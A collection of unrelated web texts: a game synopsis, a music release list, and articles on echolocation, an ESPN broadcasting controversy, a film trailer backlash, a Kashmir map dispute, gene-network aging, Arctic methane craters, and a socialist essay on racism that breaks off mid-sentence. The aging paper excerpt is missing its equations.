-SYNOPSIS  Black Sands is a bold new visual novel drawing from African, Indian and Middle Eastern mythology, married to an innovative spin on speculation about ancient aliens and precursor races. This is largely unexplored territory for video games as a medium – and Black Sands aims to take it further than any other creative team has managed to date.  Genres: Visual Novel, History, Mythology, Dark Fantasy, Educational  As Ra, the Dark Pharaoh, players must enter into a series of challenging trials posed by their creator, Nun – an emissary from the far-flung world of Nibiru who wants you, as his avatar, to wield godlike power over the ancient world. But before your legend can begin, you have to prove yourself worthy.  In the Black Sands Universe, Nun engineered the beings humanity worship as gods – but his creations betrayed his grand plan, and plunged the Earth into an age of oppression. Rah and his companions are Nun's last-ditch attempt to fix his mistakes – but before he can unleash them on the Earth, he needs to know they're up to the challenge!  You have to manage a team of mythical heroes; nurture their relationships, both with you and each other; explore the sprawling landscape of Nun's secret hideaway, the Rift; study its secrets and its tortured history, and defeat the countless enemies that stand in your way. Only then will Nun grant you your freedom!  UNIQUENESS  Black Sands is more than just comic-book heroics and wild conspiracy theories – it aims to convey a deeper understanding of real-world ancient history and cultural diversity as well. An in-game dictionary with scores of unlockable entries contains an explanation of the research that went into every character and location, giving their historical inspiration alongside their in-game backstories.  Black Sands is also not simply a visual novel, too. Decisions stem from much more than simple emotional dilemmas or "choose your own adventure" branching paths. The story offers players the challenge of exploration, discovery, investigation and stat management over a rich, carefully crafted narrative and multiple side quests of many different types.  Win your companions' respect to open up still more content as their backstories are revealed – or rule them by fear like the god you're destined to become.  Scour the map for a huge number of secrets spread across a detailed, ever-changing world.  Watch the clock! Manage the passing of time correctly, or the odds could end up against you and cause your death!  Study the relics and artifacts to unlock achievements and lore – including the real-world research behind the fiction.  Be entrenched in the development of a stunning production values from a carefully hand-picked team.  A totally unique aesthetic – no other game has used this same material like Black Sands!  Dominant Protagonist  African, Middle Eastern, and Hindu cultures  Competitive love interest  Comic-style Artwork  Multiple Mini-Sagas  Aliens  Mythological Gods and Monsters  Dark Humor  Education  If you cannot download the demo or don't have a strong enough computer, you can watch the demo playthrough below.
-Welcome, Friends, to the 2017 releases table. This is an effort to keep a finger on the pulse of the world of psychedelic downtempo / psychill / psybient music and its many facets, and is meant to not only be an archive but also a news source for the latest releases. Updates are made at the end of every month.  Mostly downtempo ambient and dub styles are presented here.  If you know of any release that isn’t listed here, fill out the form at the bottom of this page and it will get added to the next month’s update, as long as it’s psychedelic and has at least some downtempo elements. Bandcamp links are preferred, soundcloud links will be ignored unless they have a download link.  We hope you will find something new and magic for your taste. Please support the artists and buy their music.  You can also visit these pages:  – a list of upcoming Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2019 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2018 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2017 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2016 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2015 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2014 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2013 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2012 Releases (Psychill, Ambient, Downtempo, IDM)  – a list of 2011 Releases (Psychill, Ambient, Downtempo, IDM)  2017 Psychill , Ambient and Downtempo music catalog  Table Filtering / Sorting Instructions This table uses a filtering plug-in that creates drop down menus of unique values for specified table columns, and allows the table to be filtered by one or more of those values. Select a value from a menu to add a filter, and the filter tag will appear below the menu. Click the tag to remove the filter again. You can use multiple combinations of filters to help you find what you’re looking for. For example, you could filter the table to only show the 1st, 2nd and 3rd place poll winners from the month of August in the genres of psybient, psybass and psydub. Or make it only show the Name Your Price compilations. To see the latest releases, you can either filter the table by the most recent month or click the Release Date column header twice to sort the table by newest to oldest releases. Also you can always just search for any term by typing in the search box above the table.  Return to top  Please let us know about any missing releases using contact form
-The results were surprising. “We thought, ‘If it’s sighted people, it’s not going to be something we’ve ever learned to do,’” reflects Virginia Flanagin, a neuroscientist and first author of the study. “‘So probably we’re really bad at it.’” But the sighted subjects had little trouble figuring out the relative sizes of the spaces. The person who grew the most skilled at it could tell if there was as little as a 4 percent difference in the size of the room. Even the people who did less well could still often tell apart differences of 6 to 8 percent, with the least skilled bottoming out at a 16 percent difference. Overall, that actually is about the same level of acuity—ability to distinguish differences—that you find in some visual tests, says Flanagin.  Additionally, the brain scans showed something odd: The sound of the echoes was activating sighted subjects’ motor cortex, the part of the brain that handles movements. The researchers had the subjects make their echolocation sound—usually a click with their tongues—without playing them back any echoes, then subtracted that scan from the scans taken when they heard the noise reverberating in the church, to get rid of any motor cortex activation from moving the tongue. But it still lit up, even with the tongue movement removed. In fact, the brain region was more active with large versions of the church than smaller ones. “It seems like the motor cortex is somehow involved in the sensory processing,” says Flanagin. In the blind subject, the echoes caused the activation of the visual cortex instead.  These results lay the groundwork for future studies investigating whether sighted people can be trained to do more complicated kinds of echolocation, like navigating down a virtual hallway. The idea, Flanagin says, is to understand at what level of complexity blind people start being able to do things that sighted people can’t and what might have changed in their brains to allow them to do that. In general, the resilience of the human brain and the readiness with which we can learn new skills when circumstances demand it is impressive. Quoting the blind advocate Daniel Kish, who uses echol oc ation himself to walk around every day , Flanagin remarks, “The only reason sighted people can’t do it is they don’t have to.”  We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.
-BIRMINGHAM, Alabama - Just when you thought ESPN couldn't get any more tone deaf, after backing Little League father of the year Craig James over respected professional Bruce Feldman, now comes this inexplicable decision.  Urban Meyer will be in the ABC booth Saturday working the Auburn-Clemson game.  Are they kidding?  Of all the booths in all the stadiums in all the world, Meyer's going to walk into Death Valley's with Auburn in the house?  Did they ask Nick Saban to skip the North Texas game to join the fun?  Let's get this  out of the way up front. Meyer has no business working an Auburn game, there, here or anywhere.  The appearance of a conflict of interest is thicker than Joe Paterno's glasses. Try as he might, the former Florida coach can't escape his history with the Auburn program, and that history isn't exactly defined by mutual respect.  In the spring of 2009, after Auburn hit the road in its Tiger Prowl recruiting limos, Meyer told the Gainesville (Fla.) Sun that the NCAA should investigate. He also took a few shots at Auburn's tires.  "We're trying to sell graduation rates and academics and trying the sing and dance routine," he said. "The Florida coaching staff will not be riding around in limos or ripping off our shirts."  That shirt reference was a shot at Lane Kiffin and his Tennessee staff, but still. Even two years later, Meyer trying to drag his program onto the high ground, despite its arrest record, remains a shining example of hypocrisy.  He didn't stop there. In December of 2010, Meyer was the only SEC coach with a vote that didn't put Auburn No. 1 on his final regular-season ballot in the USA Today poll. He put Oregon first and Auburn second.  But those slights pale next to the role Meyer may have played as a wizard behind the curtain of the Cecil Newton-Kenny Rogers story last fall.  According to multiple news reports, before that story broke, Meyer had vowed on a three-way call with his protege, Mississippi State coach Dan Mullen, and former Mississippi State quarterback John Bond to tell it to The New York Times and ESPN.  Who broke the story of Newton and Rogers asking for money from Mississippi State boosters, Bond included, to send Cam Newton to State? The Times and ESPN.  That story, as the NCAA later confirmed, was right. You can argue that Meyer did the right thing in trying to get the story out, in blowing the whistle on shady recruiting, despite Mullen's reported preference to let that sleeping dog lie since the proper authorities had been notified.  Kevin Scarbinsky is a columnist for The Birmingham News. His column is published on Sunday, Tuesday, Wednesday and Friday.  There's no argument that, if Meyer played Deep Throat, he put Cam Newton's Heisman season and Auburn's BCS championship run in jeopardy, even though there was no solid evidence then - and none has been presented since - that Auburn broke NCAA rules to sign Newton.  Hence, bad blood.  Gene Chizik might never admit it in public, but he hinted last November that Meyer might be a wizard behind the curtain. During a passionate defense of his quarterback in the middle of the storm, the Auburn coach said this:  "If you really want to do your homework, go and start with his Little League coach, then go to his junior high coach, then go to his high school coach, then go to his junior college coach and then come talk to any coach at Auburn."  Who was missing from Chizik's suggested list of character references for Newton? His Florida coaches, Meyer and Mullen.  A lot of Auburn fans didn't like it when ESPN sent Meyer and Saban, who could hardly be considered neutral observers, to serve as pregame and halftime analysts for the BCS Championship Game in January, but at least the network had legitimate reasons.  They were the two previous national championship coaches, and besides, Saban had just coached against Auburn, and Meyer had once coached Newton.  There's no similar justification for ESPN/ABC to send Meyer to Clemson, not for cameos but for a game-long stint in the booth, and there are more than enough reasons to believe that he isn't neutral in his feelings toward Auburn.  What is ESPN thinking? I asked, and the network provided this statement: "We regularly assign analysts to games involving conferences and teams they have coached for and against and do not avoid assignments based on a competitive rivalry that existed when they were coaching. We expect our personnel to do their jobs as professionals. Like all of our analysts, Urban will work games involving teams from multiple conferences."  Sorry, but this goes beyond "a competitive rivalry that existed" while Meyer was coaching. This is wrong person, wrong place, wrong time.  ESPN should change assignments for this weekend, and Meyer, at the first opportunity, should change careers. He should go back to coaching. That way, he can try to do something he's never done. Beat Auburn on the field.  1CR>
-UPDATE 11/10 9:45 AM EST: The filmmakers behind Basmati Blues has released an official comment regarding criticism of the trailer for their production.  Monique Caulfield and Danny Baron said in a statement:  “We deeply regret any offense caused by the Basmati Blues trailer. We have heard a number of voices that have understandably reacted to a trailer that is not representative of the film as a whole. Unfortunately, the international trailer has given the wrong impression of the film’s message and heart. This movie is not about an American going abroad to solve India’s problems. At its heart, this film is about two people who reach across cultures, fight against corporate greed, and find love. Basmati Blues is an ensemble musical romantic comedy. The film explores our responsibility for our actions and for each other, and attempts to do it in a disarming way, using music, comedy and romance. Basmati Blues is a love letter to multiple eras of Bollywood cinema, musicals, and classic Hollywood romantic comedies. We are confident that the film, when seen in its entirety, will bear out the our appreciation and respect for India and its people.”  —————  One of Brie Larson's upcoming movies is causing major controversy following the drop of its trailer last week. Basmati Blues follows Linda, a scientist played by Brie, who travels to India in an attempt to sell genetically modified rice to the local farmers. However, once she realizes that her company is actually evil, she tries to work against them to save the people, and people have several big problems with it.  In the trailer, Brie's character hits pretty much every stereotype about Indian culture. There's a scene of her sampling some local fare, and then immediately screaming and dramatically fanning her face because of the spice; some locals trick her into doing something embarrassing under the guise of teaching her their customs; and, to top it off, Brie's character wears a traditional sari and partakes in a huge, colorful dancing scene reminiscent of so many Bollywood films. Linda also falls in love with a local farmer, played by Utkarsh Ambudkar, and at one point exotifies it all by proclaiming, "India is this exciting journey." Basically, the entire plot seems to revolve around one white woman rescuing an entire village of supposedly helpless people, reinforcing the white savior narrative seen countless times in Hollywood.  The film, which BuzzFeed reports Brie signed on to in 2013 and has struggled to get picked up worldwide, seems to be an odd choice for the actress, who has previously said that she makes movies "as a form of activism" and is known for playing strong female characters. Brie has spoken up about social issues in the past; she supported activists at Standing Rock who protested the Dakota Access Pipeline and often posts on social media about gun control, LGBTQ rights, and mental health issues, for instance.  Brie has not yet responded to the criticism of Basmati Blues, though many have taken to social media to express their feelings about the movie. One Twitter user wrote, "It’s 2017 & they’re really still releasing these things." Another blamed the cringe-worthiness of the film on the fact that it was conceived in 2013 (although, this portrayal would be offensive in any year). The user wrote, "Basmati Blues was shot before Short Term 12 was even released. Why are people freaking out so much? I get it, it's incredibly offensive, but we all make mistakes. I'm sure that Brie Larson wouldn't sign onto a project like that today." Still, others found the whole thing to be inappropriate and disappointing, saying, "I just watched the trailer for Basmati Blues and I'm not even angry just massively secondhand embarrassed for everyone involved," "Cringeworthy to say the least," and "* Deep, disappointed sigh *."  Watch the trailer and read more reactions, below.  Related: Brie Larson on Her Friendships With Jennifer Lawrence and Emma Stone
-Commenting on the faux pas of releasing a booklet with Jammu and Kashmir shown as Indian occupied Kashmir, the Congress party on Sunday said it was 'a clerical mistake.'  Congress leader Shakeel Ahmed asserted that Kashmir is an integral part of the nation and that the portion illegitimately occupied by Pakistan belongs to India.  "It might have been a clerical printing mistake. Kashmir is a part of India. The Congress party believes that even the portion of Kashmir which is occupied by Pakistan illegitimately is also India's. This might be a printing mistake," said Ahmed.  Another Congress leader Raj Babbar said that the people responsible for the printing of the pamphlet have admitted their mistake and that there was no need to make an issue out of the matter. "People who were responsible for the printing of the pamphlet have given their statements. We should not make this an issue," said Babbar.  However the Bharatiya Janata Party (BJP) didn't seem to think it was a trivial matter, and demanded an apology on Sunday from Congress president Sonia Gandhi on yesterday's release of a booklet with Jammu and Kashmir shown as Indian occupied Kashmir.  "Kashmir is the integral part of India and the PoK (Pak occupied Kashmir) is also integral part of India. But this is very unfortunate. The Congress president must apologise to the country because Ghulam Nabi Azad was saying the same thing which was continually said by Pakistan on the Kashmir issue. We strongly condemn it," said BJP spokesperson Shahnawaz Hussain.  Echoing similar sentiment, another BJP leader S. Prakash said that the Congress party has always politicised matters of national security and that such things could never be forgiven.  "The Congress party for the last three years has been indulging in politicising the internal security and the national security. This has again been proved. They must apologise to the country. A party which ruled India for over 50 years today is not prepared to accept Kashmir as part of India? This is shameful," he said.  The Congress party yesterday stirred a controversy when its senior leader Ghulam Nabi Azad released a booklet with Jammu and Kashmir shown as Indian occupied Kashmir.  The wrong map was published on page 12 of the 15-page booklet titled 'National Security Endangered. Bravado, Rhetoric, Hyperbole Rules' about the China-Pakistan Economic Corridor.
-Genetic network stability analysis  A living organism is an interacting system containing the genome and the expressome, defined as all the molecules (the transcriptome, proteome, metabolome) produced according to the genetic program and for which expression levels are regulated by genes and their epigenetic states in response to external influences or stresses (see Fig. 1). Likewise, the expression states of the genes are regulated by the components of the expressome. For the sake of model simplicity, but without loss of generality, we will specifically talk about the genes expressing as, and being regulated by, proteins. However, other levels of description including transcriptome, metabolome, etc. could also be viewed as relevant aspects of the expressome, similarly impacted by both endogenous and exogenous (environmental) factors. We start from the organism in a “normal” initial state, in which all genes have youthful/healthy expression profiles. With the passage of time, t, most of the genes retain “normal” expression profiles, while a few genes, e g (t) genes in total, subsequently become either damaged or (epigenetically) dysregulated and represent a few “defects” or “errors” in the genetic program. Gene transcripts are translated into the proteome, including its “defects”, at a certain translation rate p. Defects may appear in the expressome even if the genome state is perfectly regulated, due to unavoidable imperfections in translation or metabolic transformations17. Below, we assume that time-dependent quantities such as e g (t) may be averaged over times longer than the characteristic interaction times, but are still much shorter than the lifespan of the organism.  Figure 1: The minimum stability analysis model for a gene network. At any given time the genome consists of a number of normally expressed and dysregulated genes. The proteome accumulates “defects”, such as the proteins over- or under-expressed by dysregulated genes, which are removed via the protein quality-control or turnover systems. DNA repair machinery controls epigenetic states of the genes and restores normal expression levels. On top of this, interactions with the environment damage both the proteome and the genome subsystems, increasing the load on the protein-turnover and DNA-repair components. Parameters f, β, δ, p and c appear in Eqs. (1) and (2), and are interpreted in the text below. The figure was drawn by Peter Fedichev. Full size image  Next, we assume that the initial state of the genome is almost stable, meaning that the number of improperly expressed genes is small relative to the total genome size, and, therefore, the number of improperly produced proteins copies, e p (t), is also relatively small. This allows us to ignore the interaction between defects in the genome and the proteome. Accordingly, the most general model describing the dynamics of the interacting defects in the genome and in the proteome can be written in the following form:  Here , β is the coupling rate constant characterizing the regulation of gene expression by the proteins. The constant K is the average number of genes regulated by any single protein and represents a simple measure of the overall connectivity of the genetic network. The constant c reflects the combined efficiency of proteolysis and heat shock response systems, mediating degradation and refolding of misfolded proteins, respectively, whereas δ characterizes the DNA repair rate. The parameters—coefficients in Eqs. (1) and (2) are described by arrows on Fig. 1. Furthermore, the model includes the “force” terms, f p (t) and f g (t), which characterize the proteome and genome damage rates, respectively. The forces can represent any of a number of things, including oxidative stress (metabolic), temperature, gamma-radiation (environmental), that are imperfectly compensated by protective mechanisms.  Eqs. (1) and (2) can only hold in their simple linearized form if the total number of regulatory errors is small and the defects do not interfere with the repair machinery or any other rare essential subsystems of the gene network. If, for example, a defect alters a DNA repair system-associated gene expression or protein level, the repair rate drops, the system becomes unstable and may quickly diverge from its normal state18,19, as we show below. To avoid complications arising from introducing such nonlinearities, we adopt a simple hypothesis as to how defects in the evolving gene network could be responsible for the demise of a cell or organism. More specifically, we assume that mortality at any time is dependent on the probability of a defect to “land on” and damage or dysregulate an essential gene in a sufficient fraction of cells to lethally impair tissue function locally. Any gene in the model can be dysregulated for a short time (brief relative to lifespan) and then “repaired”, or its products acquired from healthy neighboring cells. Therefore, a gene is considered essential if the disruption of its expression, even for a limited time, is lethal to cells in which it was disrupted, once their occurrence exceeds some threshold fraction of cells. The suggested picture is quite general, however, and is easily extended to entire animals, since the stability boundaries are the same—only the exponents will be reduced because some threshold fraction of a tissue must die (in some most-vulnerable tissue type) to produce organism lethality. In this case the population dynamics of a set of gene networks representing N(t) organisms can be represented by:  where M(t) = ωe g /G is the mortality rate, proportional to the fraction of mis-regulated genes, e g /G, and ω is an empirical factor, roughly a measure of the (small) fraction of genes in the whole genome that are essential.  As shown in Methods, a general solution to Eqs. (1, 2) is a linear combination of two functions characterized by well-separated time scales. Most external perturbations lead to responses, which relax quickly at time scales on the order of the network’ s inverse relaxation rates, c and δ. However, life-long changes, such as aging or development, are usually considerably slower. Therefore we can use adiabatic approximation to obtain the effective equation for the age-dependent changes in the number or regulatory errors and, consequently, the mortality  Here F = f/(c + δ) is a combined measure of genotoxic stress, , and Λ = (βpGK − cδ)/(c + δ) is the exponent characterizing genetic-network stability, which is precisely the propagation rate of gene-expression-level perturbations. As we will see later, in the long run, stress levels can be averaged over longer periods and hence presumed to be time-independent, f p,g (t) = const. This yields the following expression for the age-dependent mortality rate:  The nature of the solution is very different depending on the sign of the exponent Λ. Whenever the combined efficiency of all repair systems is lower than a measure of the defect proliferation rate,  then the gene network is unstable, Λ > 0, and the number of regulatory errors (defects) in the genome and in the expressome grows exponentially along with mortality, M(t) ∼ exp(Λt), which is precisely the celebrated Gompertz law12. The Gompertz exponent, Λ, is related to the Mortality Rate Doubling Time (MRDT), t Λ = ln 2/Λ, whereas the average lifespan is given by  The quantity depends on both the exponent Λ and on the genotoxic stress level through the parameter γ = M 0 /Λ, where M 0 ∼ ωF/Λ is the mortality at birth or Initial Mortality Rate (IMR) in our model. For many species following the Gompertz mortality law γ is very small (γ ≈ 0.05 for fruit flies if computed using MRDT and IMR values from AnAge database11). Accordingly, the logarithm is usually large and the life expectancy, t le ≈ Λ−1 log(1/γ), greatly exceeds MRDT, the time scale characterizing the gene network instability. This is our precise definition of the Gompertz limit describing long lived species including humans, when the logarithm of a large argument is a very slow function, and the lifespan of the species is determined by the gene regulatory network properties only and depends very weakly on the genotoxic stress level through the value of γ. This also means that the lifespan does not depend on precise specification of stress levels or their variation over time. The same argument would hold if a small non-linearity is added in Eq.(4) and thus establishes a considerably wider applicability range for the basic linearized Eqs. (1, 2, 3).  A considerably more intriguing situation may occur when the genome is stable, Λ < 0 or R 0 < 1, and the gene network may remain stable under reasonable stress conditions for a very long time. The fractions of dysregulated genes and of misexpressed components of the expressome will then stabilize at constant levels, as will the mortality rate itself maintain the same level . Constant mortality rate means that the population of animals dies off exponentially rather than age-dependently: , which is much slower than the Gompertz-law prediction. We believe that the age-independent mortality observed in naked mole rat experiments over a very long lifespan7, together with exceptional stress resistance of naked mole rat tissues9, may be manifestations of this stable scenario. We predict that the gene networks of negligibly senescent animals are exceptionally robust, and the number of dysregulated genes will scarcely change with age. This argument is supported by the observations16 in which the number of genes differentially expressed with age was compared among naked mole rat, mice and humans.  Aging of the fruit-fly transcriptome  Analysis of model solutions (see Methods) suggests that aging in gene networks of “normally” aging or Gompertzian animals manifests itself as a highly correlated changes to the genome and the expressome states, occurring on distinct and well-separated time scales. We show that even though most external stresses lead to perturbation of the gene network, which relax quickly back to unperturbed levels, many experimentally measurable properties of the organism state should reflect the underlying instability, to an increasing degree as animals age. This means that gene-expression (or metabolite, etc.) levels should change with age in a coordinated manner and slowly deviate from their healthy/youthful states. We then asked whether our model is supported by gene-expression data from fruit flies (ref. 20). The measurements were performed at 6 different ages, for two groups of adult Drosophila melanogaster: normally (“ad lib”) fed control flies and calorically restricted (CR) flies. Figure 2 is a Principal Components (PC) analysis plot, in which each point represents the state of gene expression for one combination of age and diet.  Figure 2: Principal components analysis of gene expression profiles in aging flies (data from20), fed on control (ad lib) and Calorically Restricted (CR) diets. Every point represents a transcriptome for flies of a specific age and diet. As the animals age, the genetic network accumulates regulation errors and the transcription levels change in a single direction, up to a limit beyond which viability cannot be maintained. Full size image  Remarkably, aging in flies follows a unidirectional and thus apparently pre-defined or hard-wired in the genome trajectory of gene expression (along PC1) throughout their lifespans, accompanied by apparently rapid and random expression changes along orthogonal directions such as PC2. Variance along the PC2 axis is nevertheless small relative to the inter-group differences distinguishing ad lib from CR-fed flies. This may indicate that the corresponding transcriptional changes occur in response to, for example, nutrient-supply variation. Along the PC1 dimension, although there are stochastic contributions, there is a strong, systematic dependence on age in each of the two diet groups. Points on the extreme left correspond to the youngest flies, and points for older age-groups are displaced progressively to the right. Thus, deviation of the gene expression profile from the young state increases with age, indicating that the number and extent of dysregulated genes increases along with mortality up to a point when the accumulation of gene-expression abnormalities becomes incompatible with survival of the organism. This interpretation goes well in hand with the arguments used in derivation of Eqs. (1, 2, 3) and qualitatively support the presented model as a very general description of aging in gene networks of realistic animals, including multicellular organisms, such as fruit flies. We describe a generalization of the equations as well as the transcriptional and metabolic changes in aging flies along with their relation to the Gompertz mortality law in a subsequent work21. Both of the groups age in a similar way (along the same PC1 direction), but at a considerably different rate. We are leaving the detailed analysis of the aging trajectories differences between CR-fed and control flies for a future work.  Genetic-network stability and stress resistance  The proposed model may be considered as a general theory that subsumes previous “error catastrophe” theories19,18 as special cases. It was long considered that error catastrophes can be probed in experiment where the effects of various stresses on animal lifespan were observed22. To understand how the model presented above deals with stresses, we will first reanalyze a related experiment from23, in which flies of varying age were exposed to a traumatic brain injury (TBI) for a short time and then observed for a time T that is small compared to the lifespan of the animals. The mortality index MI T is calculated as the fraction of animals alive at the start of stress, dying over a short observation interval during or following stress application. The post-stress lifespan was also determined. To model the experimental settings we assume that the animals at an early age t 0 , , were subjected to an external genotoxic stress characterized by the amplitude Fs, which is proportional to number of traumatic strikes N in each experiment. As shown in Methods, a generic stress perturbs the state of the gene network and within a linear response theory, the mortality in the experiment has a contribution to both the slow and fast modes. At late ages, the influence of the stress mostly dies out due to the fast relaxation processes in the genome and the proteome. On the contrary, since the gene network of flies is unstable, the influence of a stress applied early in life is maintained in the slow mode and shortens the lifespan of the animals. The mortality M as a function of time t and of number of traumatic events, such as strikes, N is given by  where is an empirical factor, proportional to the number of the strikes, , where χ is a stress and a species-dependent constant. Accordingly, we predict that the difference ΔM 0 between mortality in flies, exposed to a different number N of traumatic strikes, and mortality of the flies in the control group is proportional to N at any given age. Figure 3a shows a direct comparison of the mortalities of the treated and the control groups obtained from our analysis of the data from23. An alternative way to see this is to calculate the model prediction for the average lifespan as a function of N  Figure 3 (a) ΔM 0 , the mortality change as wild-type flies are exposed to N traumatic insults, is plotted as a function of N. (b) Average lifespan, t avg , is plotted as a function of N. In both panels (a,b), the solid lines indicate the theoretical prediction based on Eq. (6) and parameters estimated from experimental data. Grey symbols are experimental mortality data points. Full size image  and compare it with the experimental lifespan in groups with various stress levels. The results of the analysis of the population dynamics data from23 are presented in Fig. 3a,b, and show a fair agreement between the dependences observed in the experiment and the simple model predictions.  Even though the mortality at late ages does not depend on the fast gene network dynamics, the Mortality Index itself contains both kinds of contributions,  where E = (c + δ) is the effective relaxation time in the expressome (see the analysis leading up to Eqs. (15) and (19) in Methods). Empirically, in TBI experiment and therefore very strong stressors are required to produce a measurable change in the lifespan. This may be extrapolated to and compared with findings reported earlier22, where Drosophila adults in experimental groups were treated for 3–5 days with a number of agents shown to increase misincorporation into protein or RNA, at doses leading to <20% mortality. Although these treatments produced error rates much higher than were seen in the course of aging in control flies, and produced a small mortality increase during the treatment, the misincorporation rates subsequently returned to control (pre-treatment) levels. This would be consistent with predictions of our model, if most of the stress-induced perturbations relaxed quickly to a level nearly indistinguishable from controls. Because the overall Mortality Index in the experiment was small, the average lifespans of survivors were indistinguishable from controls22. The effects of the stress on the lifespan may have been further reduced by hormesis, a known ability of weak stresses to improve survival of animals24,25,26. The latter is clearly a non-linear phenomenon, which is not very strong in the Gompertz limit in any case and can not be explained by the suggested simple linearized model.  Extreme longevity has long been associated with exceptional resistance to a variety of stresses27. And conversely, the decrease of stress resistance with age is one of the best-established indices of aging. The relation should be taken with caution, since the stress resistance measured by the Mortality Index and described by Eq. (10) contains the contribution of processes occurring at all time scales. Only a measure of stress resistance associated with the response of the slowest modes of the gene network can be related with aging and longevity. A curious situation may occur when Λ < 0 in Eq. (6), indicating that the efficacy of repair systems is high enough to prevent exponential system deterioration with age. This would also imply robust resistance to stresses, consistent with the exceptional stress resistance of negligibly senescent species9. For example, a comparison of survival between negligibly senescent vs. short-lived clam tissues treated with tetr-butyl hydroperoxide showed much higher resistance to oxidative stress in long-lived clams3. Also Oxygen Radical Absorbance Capacity (ORAC) was measured in young and old clams of both types. The experiment showed an age-related decline in ORAC for shorter-lived clams, whereas ORAC did not change with age in tissues of negligibly-senescent clams, which is entirely in line with the model predictions, since there are no possible changes in the gene network state leading to a deterioration of the genotoxic compensation abilities, if the gene network of an organism operates in the stable zone.
-Craters up to a kilometer (0.6 miles) wide have been found within the Barents Sea off the northern coast of Norway. As reported by the Sunday Times, these are likely to be due to unstable build-ups of methane, a notoriously volatile and at times explosive natural gas. Details are few and far between at present, although researchers at the Arctic University of Norway are due to present their findings in detail at the annual European Geoscience Union conference this coming April.  “Multiple giant craters exist on the sea floor in an area in the west-central Barents Sea... and are probably a cause of enormous blowouts of gas,” the research team told the Sunday Times. “The crater area is likely to represent one of the largest hotspots for shallow marine methane release in the Arctic.”  Although these huge methane bubbles could perhaps take out a ship or two sailing in these shallow waters, the links that several journalistic outlets are making with the Bermuda Triangle may be a bit of a stretch.  Methane under certain conditions is stored as a compound known as methane hydrate, and vast caches of it are found both beneath the seabed. This natural gas is also generated within great expanses of long-term frozen soil known as permafrost, which mostly exists in Siberia, Greenland and Alaska: When organic matter there is decomposed by microbes under warmer, low-oxygen conditions, methane is produced.  Due to man-made climate change, the world is warming at an unprecedented rate, which is beginning to unlock these caches, although the rate at which the methane is escaping skyward currently remains unclear.  In any case, melting permafrost is definitley unleashing methane gas, the second-most dangerous global warming greenhouse gas, into the atmosphere, causing the planet to warm further to some degree. Within the oceans, the hydrates are becoming increasingly unstable due to both warming and increasing acidification, and the same effusion process is suspected of taking place there too.  These craters are certainly big, but methane bubbles up from the depths all the time. Rich Carey/Shutterstock  If an entire “chunk” of these hydrates suddenly becomes unstable, a lot of methane gas can escape at once. This can generate craters, such as those found beneath the surface of the Barents Sea. It’s difficult to estimate how much energy is being released in these crater forming “explosions,” but it’s not unreasonable to suggest that – at over half a mile across each – they could be energetic enough to sink ships passing above them. The evidence for this type of ship sinking, however, remains deeply tenuous.  This methane forcing itself up from the depths has likely happened before, around 56 million years ago. The Paleocene-Eocene Thermal Maximum (PETM) was a sudden and catastrophic warming event that bumped up the world’s temperature by 5 to 8°C (9 to 15°F) in just 20,000 years, and researchers have occasionally surmised that a massive methane hydrates release is to blame.  However, the link with the Bermuda Triangle, which is off the eastern coast of Florida, is somewhat weak – this study doesn’t appear to have anything to do with this part of the world. Nevertheless, gargantuan methane bubbles have been cited before as a possible ship-sinking phenomenon in the Triangle. Even if they don’t cause a damaging blast, a methane bubble is considerably less dense than the sea around it; if it rises up beneath a ship, it could cause it to suddenly sink.  There’s just one problem with this: The Bermuda Triangle doesn’t officially exist, in that it’s not recognized by various scientific institutions of the United States. It’s statistically no more dangerous than any other stretch of ocean, and perhaps most importantly of all, there has been no methane bubbling up from beneath it for at least 15,000 years.
-October 21, 2010  In the first article in a series on "Socialism and Black Liberation," Lance Selfa explains the origins of slavery at the dawn of capitalism and the ideology of white supremacy.  IT'S ONE of the oldest truisms around. Racism, it's said, is as old as human society itself. As long as human beings have been around, the argument goes, they have always hated or feared people of a different nation or skin color. In other words, racism is just part of human nature.  If racism is part of human nature, then socialists have a real challenge on their hands. If racism is hard-wired into human biology, then we should despair of workers ever overcoming the divisions between them to fight for a socialist society free of racial inequality.  Fortunately, racism isn't part of human nature. The best evidence for this assertion is the fact that racism has not always existed.  Racism is a particular form of oppression. It stems from discrimination against a group of people based on the idea that some inherited characteristic, such as skin color, makes them inferior to their oppressors. Yet the concepts of "race" and "racism" are modern inventions. They arose and became part of the dominant ideology of society in the context of the African slave trade at the dawn of capitalism in the 1500s and 1600s.  An ad for a slave auction in 1840  Although it is a commonplace for academics and opponents of socialism to claim that Karl Marx ignored racism, Marx in fact described the processes that created modern racism. His explanation of the rise of capitalism placed the African slave trade, the European extermination of indigenous people in the Americas and colonialism at its heart. In Capital, Marx writes:  The discovery of gold and silver in America, the extirpation, enslavement and entombment in mines of the indigenous population of the continent, the beginnings of the conquest and plunder of India, and the conversion of Africa into a preserve for the commercial hunting of black skins are all things that characterize the dawn of the era of capitalist production.  Marx connected his explanation of the role of the slave trade in the rise of capitalism to the social relations that produced racism against Africans. In Wage Labor and Capital, written 12 years before the American Civil War, he explains:  What is a Negro slave? A man of the black race. The one explanation is as good as the other. A Negro is a Negro. He only becomes a slave in certain relations. A cotton spinning jenny is a machine for spinning cotton. It only becomes capital in certain relations. Torn away from these conditions, it is as little capital as gold by itself is money, or as sugar is the price of sugar.  Series Socialism and Black liberation How is the struggle against racism connected to the struggle for socialism? SocialistWorker.org writers explain what Marxists have to say. Lance Selfa The roots of racism  Paul D’Amato Race and the U.S. socialist tradition  Keeanga-Yamahtta Taylor Race, class and Marxism  In this passage, Marx shows no prejudice to Blacks ("a man of the black race," "a Negro is a Negro"), but he mocks society's equation of "Black" and "slave" ("one explanation is as good as another"). He shows how the economic and social relations of emerging capitalism thrust Blacks into slavery ("he only becomes a slave in certain relations"), which produce the dominant ideology that equates being African with being a slave.  These fragments of Marx's writing give us a good start in understanding the Marxist explanation of the origins of racism. As the Trinidadian historian of slavery Eric Williams put it: "Slavery was not born of racism: rather, racism was the consequence of slavery." And, one should add, the consequence of modern slavery at the dawn of capitalism. While slavery existed as an economic system for thousands of years before the conquest of America, racism as we understand it today did not exist.  The classical empires of Greece and Rome were based on slave labor. But ancient slavery 